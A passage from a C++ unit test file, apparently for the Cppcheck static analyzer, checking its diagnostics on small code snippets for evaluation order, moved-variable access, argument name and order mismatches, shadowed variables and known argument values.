Unspecified according to c++17 [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\"\n \" int n = (~(-(++i)) + i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Expression '~(-(++i))+i' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n /*const*/ Settings settings11 = settingsBuilder(_settings).cpp(Standards::CPP11).build();\n\n checkCustomSettings(\"void f(int i) {\\n\"\n \" i = i++ + 2;\\n\"\n \"}\", &settings11);\n ASSERT_EQUALS(\"[test.cpp:2:11]: (error) Expression 'i+++2' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSelfAssignment() {\n // self assignment\n check(\"void f() {\\n\"\n \" int x = x = y + 1;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.c:2:9]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", // duplicate\n errout_str());\n }\n\n void testEvaluationOrderMacro() {\n // macro, don't bailout (#7233)\n checkP(\"#define X x\\n\"\n \"void f(int x) {\\n\"\n \" return x + X++;\\n\"\n \"}\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"[test.c:3:12]: (error) Expression 'x+x++' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsFunctionCall() {\n // FP\n check(\"void f(int id) {\\n\"\n \" id = dostuff(id += 42);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // FN\n check(\"void f(int id) {\\n\"\n \" id = id + dostuff(id += 42);\\n\"\n \"}\", false);\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void testEvaluationOrderSequencePointsComma() {\n check(\"int f(void) {\\n\"\n \" int t;\\n\"\n \" return (unsigned char)(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff(t=1,t^c);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:3:14]: (error) Expression 't=1,t^c' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" int t;\\n\"\n \" dostuff((t=1,t),2);\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8230\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void hprf(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (i++, ++fp, (*fp) <= 0177);\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char* fp) {\\n\"\n \" do\\n\"\n \" ;\\n\"\n \" while (f(++fp, (*fp) <= 7));\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:18]: (error) Expression '++fp,(*fp)<=7' depends on order of evaluation of side effects [unknownEvaluationOrder]\\n\", errout_str());\n }\n\n void testEvaluationOrderSizeof() {\n check(\"void f(char *buf) {\\n\"\n \" dostuff(buf++, sizeof(*buf));\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testUnsignedLessThanZero() {\n check(\"struct d {\\n\"\n \" unsigned n;\\n\"\n \"};\\n\"\n \"void f(void) {\\n\"\n \" struct d d;\\n\"\n \" d.n = 3;\\n\"\n \"\\n\"\n \" if (d.n < 0) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (0 > d.n) {\\n\"\n \" return;\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:8:11]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\"\n \"[test.c:12:9]: (style) Checking if unsigned expression 'd.n' is less than zero. [unsignedLessThanZero]\\n\",\n errout_str());\n }\n\n void doubleMove1() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization1() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b))\\n\"\n \" {\\n\"\n \" b2 = std::move(b);\\n\"\n \" }\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:24]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization2() {\n check(\"class A\\n\"\n \"{\\n\"\n \" A(B && b)\\n\"\n \" :b1(std::move(b)),\\n\"\n \" b2(std::move(b))\\n\"\n \" {}\\n\"\n \" B b1;\\n\"\n \" B b2;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Access of moved variable 'b'. [accessMoved]\\n\", errout_str());\n }\n\n void doubleMoveMemberInitialization3() { // #9974\n check(\"struct A { int i; };\\n\"\n \"struct B { A a1; A a2; };\\n\"\n \"B f() {\\n\"\n \" A a1 = { 1 };\\n\"\n \" A a2 = { 2 };\\n\"\n \" return { .a1 = std::move(a1), .a2 = std::move(a2) };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void doubleMoveMemberInitialization4() { // #11440\n check(\"struct S { void f(int); };\\n\"\n \"struct T {\\n\"\n \" T(int c, S&& d) : c{ c }, d{ std::move(d) } { d.f(c); }\\n\"\n \" int c;\\n\"\n \" S d;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:51]: (warning, inconclusive) Access of moved variable 'd'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAssign1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a = g(std::move(a));\\n\"\n \" a = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndAssign2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" B b = g(std::move(a));\\n\"\n \" C c = g(std::move(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAssignMoveAssign() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a = b;\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReset1() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \" a.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndReset2() {\n check(\"A g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" A c;\\n\"\n \" b.reset(g(std::move(a)));\\n\"\n \" c.reset(g(std::move(a)));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:25]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveResetMoveReset() {\n check(\"void h(A a);\\n\"\n \"void f() {\"\n \" A a;\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \" g(std::move(a));\\n\"\n \" h(a);\\n\"\n \" a.reset(b);\\n\"\n \" h(a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:8:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameter() {\n check(\"void g(A a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterReference() {\n check(\"void g(A & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndFunctionParameterConstReference() {\n check(\"void g(A const & a);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (warning) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:6:11]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndFunctionParameterUnknown() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" A b = std::move(a);\\n\"\n \" g(a);\\n\"\n \" A c = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\"\n \"[test.cpp:5:11]: (warning, inconclusive) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndReturn() {\n check(\"int f(int i) {\\n\"\n \" A a;\\n\"\n \" A b;\\n\"\n \" g(std::move(a));\\n\"\n \" if (i)\\n\"\n \" return g(std::move(b));\\n\"\n \" return h(std::move(a),std::move(b));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24]: (warning) Access of moved variable 'a'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndClear() {\n check(\"void f() {\\n\"\n \" V v;\\n\"\n \" g(std::move(v));\\n\"\n \" v.clear();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movedPointer() {\n check(\"void f() {\\n\"\n \" P p;\\n\"\n \" g(std::move(p));\\n\"\n \" x = p->x;\\n\"\n \" y = p->y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\"\n \"[test.cpp:5:9]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n }\n\n void moveAndAddressOf() {\n check(\"void f() {\\n\"\n \" std::string s1 = x;\\n\"\n \" std::string s2 = std::move(s1);\\n\"\n \" p = &s1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void partiallyMoved() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" gx(std::move(a).x());\\n\"\n \" gy(std::move(a).y());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveAndLambda() {\n check(\"void f() {\\n\"\n \" A a;\\n\"\n \" auto h = [a=std::move(a)](){return g(std::move(a));};\"\n \" b = a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveInLoop()\n {\n check(\"void g(std::string&& s);\\n\"\n \"void f() {\\n\"\n \" std::string p;\\n\"\n \" while(true)\\n\"\n \" g(std::move(p));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (warning) Access of moved variable 'p'. [accessMoved]\\n\", errout_str());\n\n check(\"std::list g(std::list&&);\\n\"\n \"void f(std::listl) {\\n\"\n \" for(int i = 0; i < 10; ++i) {\\n\"\n \" for (auto &j : g(std::move(l))) { (void)j; }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (style) Variable 'j' can be declared as reference to const [constVariableReference]\\n\"\n \"[test.cpp:4:36]: (warning) Access of moved variable 'l'. [accessMoved]\\n\",\n errout_str());\n }\n\n void moveCallback()\n {\n check(\"bool f(std::function&& callback);\\n\"\n \"void func(std::function callback) {\\n\"\n \" if(!f(std::move(callback)))\\n\"\n \" callback();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) Access of moved variable 'callback'. [accessMoved]\\n\", errout_str());\n }\n\n void moveClassVariable()\n {\n check(\"struct B {\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override {\\n\"\n \" auto p = std::unique_ptr(new D(std::move(m)));\\n\"\n \" }\\n\"\n \" D(std::unique_ptr c) : m(std::move(c)) {}\\n\"\n \" std::unique_ptr m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void forwardAndUsed() {\n check(\"template\\n\"\n \"void f(T && t) {\\n\"\n \" g(std::forward(t));\\n\"\n \" T s = t;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (warning) Access of forwarded variable 't'. [accessForwarded]\\n\", errout_str());\n }\n\n void moveAndReference() { // #9791\n check(\"void g(std::string&&);\\n\"\n \"void h(const std::string&);\\n\"\n \"void f() {\\n\"\n \" std::string s;\\n\"\n \" const std::string& r = s;\\n\"\n \" g(std::move(s));\\n\"\n \" h(r);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:7]: (warning) Access of moved variable 'r'. [accessMoved]\\n\", errout_str());\n }\n\n void moveForRange()\n {\n check(\"struct C {\\n\"\n \" void f() {\\n\"\n \" for (auto r : mCategory.find(std::move(mWhere))) {}\\n\"\n \" }\\n\"\n \" cif::category mCategory;\\n\"\n \" cif::condition mWhere;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moveTernary()\n {\n check(\"void gA(std::string);\\n\" // #12174\n \"void gB(std::string);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" b ? gA(std::move(s)) : gB(std::move(s));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(std::string);\\n\"\n \"int gB(std::string);\\n\"\n \"void h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? gA(std::move(s)) : gB(std::move(s)));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int gA(int, std::string);\\n\"\n \"int gB(int, std::string);\\n\"\n \"int h(int);\\n\"\n \"void f(bool b) {\\n\"\n \" std::string s = \\\"abc\\\";\\n\"\n \" h(b ? h(gA(5, std::move(s))) : h(gB(7, std::move(s))));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void movePointerAlias()\n {\n check(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" std::string s1 = std::move(s);\\n\"\n \" const std::string* s_p = &s;\\n\"\n \" s_p->size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (warning) Access of moved variable '.'. [accessMoved]\\n\", errout_str());\n }\n\n void funcArgNamesDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int A, int B, int C) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int a = 0, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int A, int B, int C) { }\\n\"\n \"void Fred::func3(int a, int b, int c) { }\\n\"\n \"void Fred::func4(int A, int B, int C) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:23] -> [test.cpp:4:23]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:3:30] -> [test.cpp:4:30]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:20] -> [test.cpp:12:22]: (style, inconclusive) Function 'func2' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:27] -> [test.cpp:12:29]: (style, inconclusive) Function 'func2' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:7:34] -> [test.cpp:12:36]: (style, inconclusive) Function 'func2' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (style, inconclusive) Function 'func4' argument 1 names different: declaration 'a' definition 'A'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:31] -> [test.cpp:14:29]: (style, inconclusive) Function 'func4' argument 2 names different: declaration 'b' definition 'B'. [funcArgNamesDifferent]\\n\"\n \"[test.cpp:9:42] -> [test.cpp:14:36]: (style, inconclusive) Function 'func4' argument 3 names different: declaration 'c' definition 'C'. [funcArgNamesDifferent]\\n\", errout_str());\n }\n\n void funcArgOrderDifferent() {\n check(\"void func1(int a, int b, int c);\\n\"\n \"void func1(int a, int b, int c) { }\\n\"\n \"void func2(int a, int b, int c);\\n\"\n \"void func2(int c, int b, int a) { }\\n\"\n \"void func3(int, int b, int c);\\n\"\n \"void func3(int c, int b, int a) { }\\n\"\n \"class Fred {\\n\"\n \" void func1(int a, int b, int c);\\n\"\n \" void func2(int a, int b, int c);\\n\"\n \" void func3(int a = 0, int b = 0, int c = 0);\\n\"\n \" void func4(int, int b = 0, int c = 0);\\n\"\n \"};\\n\"\n \"void Fred::func1(int a, int b, int c) { }\\n\"\n \"void Fred::func2(int c, int b, int a) { }\\n\"\n \"void Fred::func3(int c, int b, int a) { }\\n\"\n \"void Fred::func4(int c, int b, int a) { }\\n\",\n true, false);\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:4:16]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:5:12] -> [test.cpp:6:16]: (warning) Function 'func3' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:9:20] -> [test.cpp:14:22]: (warning) Function 'func2' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:10:20] -> [test.cpp:15:22]: (warning) Function 'func3' argument order different: declaration 'a, b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\"\n \"[test.cpp:11:16] -> [test.cpp:16:22]: (warning) Function 'func4' argument order different: declaration ', b, c' definition 'c, b, a' [funcArgOrderDifferent]\\n\", errout_str());\n }\n\n // #7846 - Syntax error when using C++11 braced-initializer in default argument\n void cpp11FunctionArgInit() {\n // syntax error is not expected\n ASSERT_NO_THROW(check(\"\\n void foo(int declaration = {}) {\"\n \"\\n for (int i = 0; i < 10; i++) {}\\n\"\n \"\\n }\"\n \"\\n \"));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void shadowVariables() {\n check(\"int x;\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int x();\\n\"\n \"void f() { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:5] -> [test.cpp:2:16]: (style) Local variable 'x' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" C(int x) : x(x) {}\\n\" // <- we do not want a FP here\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (cond) {int x;}\\n\" // <- not a shadow variable\n \" int x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int size() {\\n\"\n \" int size;\\n\" // <- not a shadow variable\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #8954 - lambda\n \" int x;\\n\"\n \" auto f = [](){ int x; }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { int x; }\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:1:21]: (style) Local variable 'x' shadows outer argument [shadowArgument]\\n\", errout_str());\n\n check(\"class C { C(); void foo() { static int C = 0; } }\"); // #9195 - shadow constructor\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct C {\\n\" // #10091 - shadow destructor\n \" ~C();\\n\"\n \" void f() {\\n\"\n \" bool C{};\\n\"\n \" }\\n\"\n \"};\\n\"\n \"C::~C() = default;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // 10752 - no\n check(\"struct S {\\n\"\n \" int i;\\n\"\n \"\\n\"\n \" static int foo() {\\n\"\n \" int i = 0;\\n\"\n \" return i;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" void f() { int i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:20]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\"\n \" int i{};\\n\"\n \" std::vector v;\\n\"\n \" void f() const { for (const int& i : v) {} }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:4:38]: (style) Local variable 'i' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10405\n \" F* f{};\\n\"\n \" std::list fl;\\n\"\n \" void S::f() const;\\n\"\n \"};\\n\"\n \"void S::f() const {\\n\"\n \" for (const F& f : fl) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:8] -> [test.cpp:7:19]: (style) Local variable 'f' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"extern int a;\\n\"\n \"int a;\\n\"\n \"static int f(void) {\\n\"\n \" int a;\\n\"\n \" return 0;\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:1:12] -> [test.c:4:9]: (style) Local variable 'a' shadows outer variable [shadowVariable]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #12591\n \" int g = 0;\\n\"\n \" return g;\\n\"\n \"}\\n\"\n \"int g() { return 1; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #13888\n \" int i;\\n\"\n \" friend int f() { int i = 5; return i; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownArgument() {\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: (style) Argument '(int)((x&0x01)>>7)' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\", errout_str());\n\n check(\"void g(int, int);\\n\"\n \"void f(int x) {\\n\"\n \" g(x, (x & 0x01) >> 7);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:20]: (style) Argument '(x&0x01)>>7' to function g is always 0. It does not matter what value 'x' has. [knownArgument]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void h() { return 1; }\\n\"\n \"void f(int x) {\\n\"\n \" g(h());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g(std::strlen(\\\"a\\\"));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" g((int)0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(Foo *);\\n\"\n \"void f() {\\n\"\n \" g(reinterpret_cast(0));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" x = 0;\\n\"\n \" g(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" const int x = 0;\\n\"\n \" g(x + 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int);\\n\"\n \"void f() {\\n\"\n \" char i = 1;\\n\"\n \" g(static_cast(i));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char *yytext;\\n\"\n \"void re_init_scanner() {\\n\"\n \" int size = 256;\\n\"\n \" yytext = xmalloc(size * sizeof *yytext);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const char *c) {\\n\"\n \" if (*c == '+' && (operand || !isalnum(*c))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8986\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" const int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int);\\n\"\n \"void g() {\\n\"\n \" int x[] = { 10, 10 };\\n\"\n \" f(x[0]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Variable 'x' can be declared as const array [constVariable]\\n\", errout_str());\n\n check(\"struct A { int x; };\"\n \"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" A y;\\n\"\n \" y.x = 1;\\n\"\n \" g(y.x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // allow known argument value in assert call\n check(\"void g(int);\\n\"\n \"void f(int x) {\\n\"\n \" ASSERT((int)((x & 0x01) >> 7));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9905 - expression that does not use integer calculation at all\n check(\"void foo() {\\n\"\n \" const std::string heading = \\\"Interval\\\";\\n\"\n \" std::cout << std::setw(heading.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9909 - struct member with known value\n check(\"struct LongStack {\\n\"\n \" int maxsize;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void growLongStack(LongStack* self) {\\n\"\n \" self->maxsize = 32;\\n\"\n \" dostuff(self->maxsize * sizeof(intptr_t));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11894\n check(\"struct S {\\n\"\n \" int *p, n;\\n\"\n \"};\\n\"\n \"S* g() {\\n\"\n \" S* s = static_cast(calloc(1, sizeof(S)));\\n\"\n \" s->n = 100;\\n\"\n \" s->p = static_cast(malloc(s->n * sizeof(int)));\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11679\n check(\"bool g(int);\\n\"\n \"void h(int);\\n\"\n \"int k(int a) { h(a); return 0; }\\n\"\n \"void f(int i) {\\n\"\n \" if (g(k(i))) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11889\n check(\"struct S {\\n\"\n \" int a[5];\\n\"\n \" void f(int i);\\n\"\n \"}\\n\"\n \"void g(int);\\n\"\n \"void S::f(int i) {\\n\"\n \" if (a[i] == 1) {\\n\"\n \" a[i] = 0;\\n\"\n \" g(a[i]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11927\n check(\"void f(func_t func, int i) {\\n\"\n \" (func)(i, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { void operator()(int, int); };\\n\"\n \"void f(int i) {\\n\"\n \" S()(i, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int& r) {\\n\"\n \" g(static_cast(r = 42));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"void f(int i) {\\n\"\n \" const int a[] = { i - 1 * i, 0 };\\n\"\n \" auto s = S{ i - 1 * i };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Argument 'i-1*i' to init list { is always 0. It does not matter what value 'i' has. [knownArgument]\\n\"\n \"[test.cpp:4:19]: (style) Argument 'i-1*i' to constructor S is always 0. 